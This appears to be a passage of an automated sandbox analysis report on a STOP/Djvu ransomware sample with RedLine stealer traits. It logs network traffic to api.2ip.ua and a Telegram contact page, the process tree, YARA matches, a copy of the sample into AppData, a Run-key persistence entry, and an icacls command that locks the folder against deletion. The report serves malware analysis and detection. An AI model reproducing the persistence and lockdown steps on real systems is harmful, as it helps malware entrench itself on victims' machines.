2022-08-05 09:22:48 UTC 2 IN Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 
6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 
6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 
61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6
d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 
32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 
Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects 
has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2i
p.me</a>. <br><br> 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.7 49775 149.154.167.99 443 C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:55 UTC 3 OUT GET /pegasusfly1 HTTP/1.1
Host: t.me

2022-08-05 09:22:55 UTC 3 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 05 Aug 2022 09:22:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9804
Connection: close
Set-Cookie: stel_ssid=1aa79c3ef5e712f6db_4591289299125490304; expires=Sat, 06 Aug 2022 09:22:55 GMT; path=/; s
amesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: ALLOW-FROM https://web.telegram.org
Content-Security-Policy: frame-ancestors https://web.telegram.org
Strict-Transport-Security: max-age=35768000

2022-08-05 09:22:55 UTC 4 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 
3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 
72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 70 65 67 61 73 75 73 66 6c 79 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 6
9 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 
69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 
3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 
Data Ascii: <!DOCTYPE html><html>  <head>    <meta charset="utf-8">    <title>Telegram: Contact @pegasusfly1</title>    
<meta name="viewport" content="width=device-width, initial-scale=1.0">    <script>try{if(window.parent!=null&&
window!=window.parent){window.p

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.7 49782 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:57 UTC 13 OUT GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua
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2022-08-05 09:22:57 UTC 13 IN HTTP/1.1 429 Too Many Requests
Date: Fri, 05 Aug 2022 09:22:57 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; preload
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=...
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2022-08-05 09:22:57 UTC 14 IN Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 
6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 
6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 
61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6
d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 
32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 
Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects 
has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2i
p.me</a>. <br><br> 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.7 49785 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:59 UTC 14 OUT GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

2022-08-05 09:22:59 UTC 14 IN HTTP/1.1 429 Too Many Requests
Date: Fri, 05 Aug 2022 09:22:59 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; preload
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=...
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2022-08-05 09:22:59 UTC 15 IN Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 
6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 
6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 
61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6
d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 
32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 
Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects 
has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2i
p.me</a>. <br><br> 

• 2OmglUwx83.exe

• 2OmglUwx83.exe

• icacls.exe

• 2OmglUwx83.exe

• 2OmglUwx83.exe

• 2OmglUwx83.exe

Statistics

Behavior
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• 2OmglUwx83.exe

• 2OmglUwx83.exe

• 2OmglUwx83.exe

• build2.exe

• build2.exe

• 2OmglUwx83.exe

• 2OmglUwx83.exe

Click to jump to process

Target ID: 0

Start time: 11:22:52

Start date: 05/08/2022

Path: C:\Users\user\Desktop\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\2OmglUwx83.exe" 

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000000.00000002.355123959.0000000002290000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000000.00000002.355123959.0000000002290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
00000000.00000002.354896040.0000000000674000.00000040.00000800.00020000.00000000.sdmp, Author: unknown

Reputation: low

Target ID: 1

Start time: 11:22:55

Start date: 05/08/2022

Path: C:\Users\user\Desktop\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\2OmglUwx83.exe" 

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

System Behavior

Analysis Process: 2OmglUwx83.exe PID: 3456, Parent PID: 2904

General

Analysis Process: 2OmglUwx83.exe PID: 5360, Parent PID: 3456

General
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Yara matches: Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000002.363606430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000002.363606430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000002.363606430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000002.363606430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.350781670.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000000.353098499.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000000.353098499.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000000.353098499.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.353098499.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000000.351375798.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000000.351375798.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000000.351375798.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.351375798.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000000.352491772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000000.352491772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000000.352491772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.352491772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000000.353670554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000000.353670554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000000.353670554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.353670554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000001.00000000.351845503.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000001.00000000.351845503.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000001.00000000.351845503.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000001.00000000.351845503.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

File Activities

File Created
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C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-
01d5d6a62169

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 411F94 CreateDirect
oryW

C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-
01d5d6a62169\2OmglUwx83.exe

read data or list 
directory | read 
attributes | 
delete | write dac 
| synchronize | 
generic read | 
generic write

device sequential only | 
non directory file

success or wait 1 412052 CopyFileW

C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-
01d5d6a62169\2OmglUwx83.exe\:Zone.Identifier:$DATA

read data or list 
directory | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert

success or wait 1 412052 CopyFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Written
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C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

0 262144 4d 5a fd 00 03 fd 1f 68 fd 
fd fd 6d 3d fd 62 1b fd 46 
7c 6d fd fd 11 fd fd 46 fd 
fd fd 16 55 4a 3b fd fd 6b 
fd 5a fd fd fd fd 2b 71 18 
02 4b 27 55 66 fd 67 fd 
4a 3e 61 fd 23 2c 1b 06 
fd 7c fd fd 71 fd fd 54 fd 
fd fd 6f fd fd fd 1a fd fd 0f 
fd 42 fd fd 70 fd fd fd 4c fd 
37 54 fd fd fd fd 5e 79 48 
31 53 34 5d fd 61 3e 32 
50 34 fd 30 56 fd 30 1d fd 
05 3d 63 fd 36 fd 5d 30 fd 
fd 7e fd 39 fd 74 14 65 fd 
fd 58 55 09 50 fd 22 fd fd 
fd 68 5c 68 fd fd 27 12 fd 
6a fd fd fd 4e 0a 1f fd fd 
fd fd fd 43 fd 52 fd 3d 3c 
36 fd 5e 4e 70 60 fd 14 
3d 6d fd fd fd fd fd fd 55 
2c fd fd 4e fd fd 17 0a 29 
fd fd 2e 3a 40 4a 33 fd 43 
51 08 fd 55 fd fd 33 9e 49 
03 06 fd 11 fd 0a 45 4b 
58 07 5b fd fd 2f fd 6a fd 
16 53 03 4c fd fd 53 3e 
20 fd 48 fd 

MZhm=bF|mFUJ;kZ+qK'
UfgJ>a#,|qT
oBpL7T^y1S4]a>2P0V0c
6]0~9teXUP"hh'jNCR=
<6^Np`=mU,N).:@3CQU
3IEKX[/jSLS> H

success or wait 4 412052 CopyFileW

C:\Users\user\AppData\Local\dc
8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe:Zone.Ident
ifier

0 26 5b 5a 6f 6e 65 54 72 61 
6e 73 66 65 72 5d 0d 0a 
0d 0a 5a 6f 6e 65 49 64 
3d 30 

[ZoneTransfer]ZoneId=0 success or wait 1 412052 CopyFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_CURRENT_USER\Softwar
e\Mic
rosoft\Windows\CurrentVersion\
Run

SysHelper expand unicode "C:\Users\user\AppData\Local\d
c8ee5c2-8cfe-4224-95e9-01d5d6a
62169\2OmglUwx83.exe" --AutoStart

success or wait 1 4120F9 RegSetValueEx
W

Target ID: 5

Start time: 11:23:01

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\icacls.exe

Wow64 process (32bit): true

Commandline: icacls "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Imagebase: 0x11b0000

File size: 29696 bytes

MD5 hash: FF0D1D4317A44C951240FAE75075D501

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Value Ascii Completion Count Source Address Symbol

unknown unkno
wn

87 invalid handle 1 11B1B0A WriteFile

unknown unkno
wn

59 invalid handle 1 11B1B0A WriteFile

Registry Activities

Key Value Created

Analysis Process: icacls.exe PID: 3468, Parent PID: 5360

General

File Activities

File Written
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Target ID: 6

Start time: 11:23:03

Start date: 05/08/2022

Path: C:\Users\user\Desktop\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\2OmglUwx83.exe" --Admin IsNotAutoStart IsNotTask

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
00000006.00000002.381718272.0000000002011000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000006.00000002.382228538.00000000021F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000006.00000002.382228538.00000000021F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: low

Target ID: 7

Start time: 11:23:04

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe --Task

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000007.00000002.424010722.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000007.00000002.424010722.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
00000007.00000002.421698327.0000000002162000.00000040.00000800.00020000.00000000.sdmp, Author: unknown

Reputation: low

Target ID: 8

Start time: 11:23:05

Start date: 05/08/2022

Path: C:\Users\user\Desktop\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\2OmglUwx83.exe" --Admin IsNotAutoStart IsNotTask

Imagebase: 0x7ff7e8070000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Analysis Process: 2OmglUwx83.exe PID: 5272, Parent PID: 5360

General

Analysis Process: 2OmglUwx83.exe PID: 3044, Parent PID: 1108

General

Analysis Process: 2OmglUwx83.exe PID: 5076, Parent PID: 5272

General
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Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000000.377762737.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000000.377762737.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000000.377762737.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.377762737.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000000.378489771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000000.378489771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000000.378489771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.378489771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000000.379648338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000000.379648338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000000.379648338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.379648338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000002.613049042.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000002.613049042.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000002.613049042.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000002.613049042.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000000.380140535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000000.380140535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000000.380140535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.380140535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.373449176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000008.00000000.379133244.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000008.00000000.379133244.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000008.00000000.379133244.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000008.00000000.379133244.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

File Activities

File Created
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C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
